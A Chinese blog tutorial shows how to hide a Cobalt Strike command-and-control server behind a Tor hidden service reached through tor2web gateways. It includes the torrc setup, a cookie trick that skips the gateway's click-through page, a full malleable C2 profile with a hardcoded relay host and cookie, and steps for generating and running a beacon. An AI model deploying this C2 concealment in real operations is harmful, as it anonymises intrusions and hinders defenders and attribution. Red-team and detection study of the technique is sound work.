隐匿的攻击之-Tor Fronting

原文链接:
https://yq.aliyun.com/articles/220340
本文讲的是
隐匿的攻击之-Tor Fronting

0x01 简介

学习完Domain Fronting之后,又从@vysecurity的文章里学会了一个新的姿势–Tor Fronting,使用Tor Fronting ,同样能在攻击中隐藏自己,并且更加容易实现,此文就来介绍一下这个新的姿势。

0x02 Tor Hidden Services

Tor是互联网上用于保护您隐私最有力的工具之一,而Tor Hidden Services则是为了隐藏自己的网站或者其他服务的一个服务。通过此服务,我们可以获取到一个通过Tor Browser来访问的Hostname,此Hostname唯一且匿名,所以我们完全可以使用这个Hostname来为我们转发流量从而达到隐匿的目的。

怎样搭建Tor Hidden Services可以参考此wiki,下面介绍一下我测试环境的搭建过程。 
环境为:Ubuntu 12.04 
搭建过程如下: 
查看系统信息:

lsb_release -a

隐匿的攻击之-Tor Fronting

可以看到Codename为precise,所以在这里选择deb类型如下:

隐匿的攻击之-Tor Fronting

之后按照官方wiki修改更新源,我的源路径为/etc/apt/sources.list,有的系统更新源路径可能在/etc/apt/sources.list.d/,在源中添加以下条目:

deb http://deb.torproject.org/torproject.org precise main
deb-src http://deb.torproject.org/torproject.org precise main

隐匿的攻击之-Tor Fronting

之后执行以下命令:

gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -

安装:

$ sudo apt-get update
$ sudo apt-get install tor deb.torproject.org-keyring

执行完成以后,就成功安装了,如果出现问题,可以查看一下wiki。

之后要对tor进行一下配置,编辑配置文件/etc/tor/torrc,将以下两个参数前的注释去掉。

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080

HiddenServicePort为代理的端口,将本地的8080端口服务转发到80端口。

配置完成以后对Tor服务进行重启:

sudo service tor restart

查看获取到的hostname:

sudo cat /var/lib/tor/hidden_service/hostname

隐匿的攻击之-Tor Fronting

其中xxxxx.onion则为我们的Tor隐藏服务。通过访问这个地址,可以访问到我们服务器8080端口的服务,下面进行一下测试。 
开启8080端口的服务:

  ~  cd /tmp
  ~  python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

使用tor浏览器访问此域名,可看到8080端口的响应:

隐匿的攻击之-Tor Fronting

0x03 Tor2Web

要对这个隐藏server进行利用,需要借助于一个代理,即tor2web,因为要想访问到隐藏服务,直接通过一般浏览器是不行的,所以,可以借助于tor2web,需要做的也很简单,当我们访问形如http://duskgytldkxiuqc6.onion/的链接时,直接修改.onion成.onion.to或.onion.city 或 onion.cab 或者任何一个提供此服务的域名即可。如下图:

隐匿的攻击之-Tor Fronting

当然,这里会有一个问题,就是访问的时候,会需要我们点击一个按钮才能正常访问,如下图:

隐匿的攻击之-Tor Fronting

那么怎么样才能直接访问呢,很简单,只需要带上点击以后的cookie就可以了,测试如下:

隐匿的攻击之-Tor Fronting

curl -b 'onion_cab_iKnowShit=yourcookie'  'https://xxxx.onion.cab/1.txt'

0x04 Cobalt Strike

同样的,我们使用Cobalt Strike来进行测试。这里需要配置一个新的profile,@vysecurity已经提供了一个,具体如下: 
tor-fronting.profile

# make our C2 look like a Google Web Bug
# https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
#
# Author: @armitagehacker
# Modified by Vincent Yiu @vysecurity for TOR.
set sleeptime "5000";
http-get {
        set uri "/___utm";
        client {
                header "Host" "bjaw6h36vwruhwvb.onion.cab";
                header "Cookie" "onion_cab_iKnowShit=8919090b066c57c2638a0956e1af4e8d";
                metadata {
                        base64url;
                        prepend "__utma";
                        parameter "utmcc";
                }
        }
        server {
                header "Content-Type" "plain/text";
                output {
                        # hexdump pixel.gif
                        # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
                        # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
                        # 0000020 01 00 01 00 00 02 01 44 00 3b
                        prepend "x01x00x01x00x00x02x01x44x00x3b";
                        prepend "xffxffxffx21xf9x04x01x00x00x00x2cx00x00x00x00";
                        prepend "x47x49x46x38x39x61x01x00x01x00x80x00x00x00x00";
                        print;
                }
        }
}
http-post {
        set uri "/__utm";
        set verb "GET";
        client {
                header "Host" "bjaw6h36vwruhwvb.onion.cab";
                header "Cookie" "onion_cab_iKnowShit=8919090b066c57c2638a0956e1af4e8d";
                id {
                        prepend "UA-220";
                        append "-2";
                        parameter "utmac";
                }
                output {
                        base64url;
                        prepend "__utma";
                        parameter "utmcc";
                }
        }
        server {
                header "Content-Type" "plain/text";
                output {
                        prepend "x01x00x01x00x00x02x01x44x00x3b";
                        prepend "xffxffxffx21xf9x04x01x00x00x00x2cx00x00x00x00";
                        prepend "x47x49x46x38x39x61x01x00x01x00x80x00x00x00x00";
                        print;
                }
        }
}
# dress up the staging process too
http-stager {
        server {
                header "Content-Type" "plain/text";
        }
}

在这里需要注意的是,我们需要修改Get以及Post中的Host及Cookie为自己的。当然,如果你想让数据包呈现别的样子,你也可以自己再写一个profile。

开启teamserver:

  cobal  sudo ./teamserver [your ip] hacktest tor-fronting.profile

隐匿的攻击之-Tor Fronting

连接到Teamserver,之后创建监听:

隐匿的攻击之-Tor Fronting

因为onion.cab使用的https,所以我们需要生成一个HTTPS Beacon,Host随意输入一个域名,端口一定要改成443。

使用onion.cab:

隐匿的攻击之-Tor Fronting

生成HTTPS Beacon:

隐匿的攻击之-Tor Fronting

生成HTTPS Beacon以后,要修改监听到8080端口,并且使用HTTP,因为这是tor转发的服务。 
选择Edit:

隐匿的攻击之-Tor Fronting

修改参数如下:

 隐匿的攻击之-Tor Fronting

保存之后,运行HTTPS beacon,成功上线:

隐匿的攻击之-Tor Fronting

0x05 小结

使用Tor Fronting 有以下几个特点: 

1、你不需要外网环境,将C2放到Docker或者本地都可以!(但是需要服务器在墙外) 
2、使C2匿名; 
3、并不需要在目标机上安装Tor; 
4、默认是安全的。 
5、要求C2上同时安装Cobalt Strike及Tor服务。

通过流量转发来隐藏自己的真正服务器是隐藏的关键,而如何寻找转发和怎么样使用它是很有趣的过程,希望文章能给你有所启发。

原文发布时间为:2017年3月6日
本文作者:Evi1cg
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。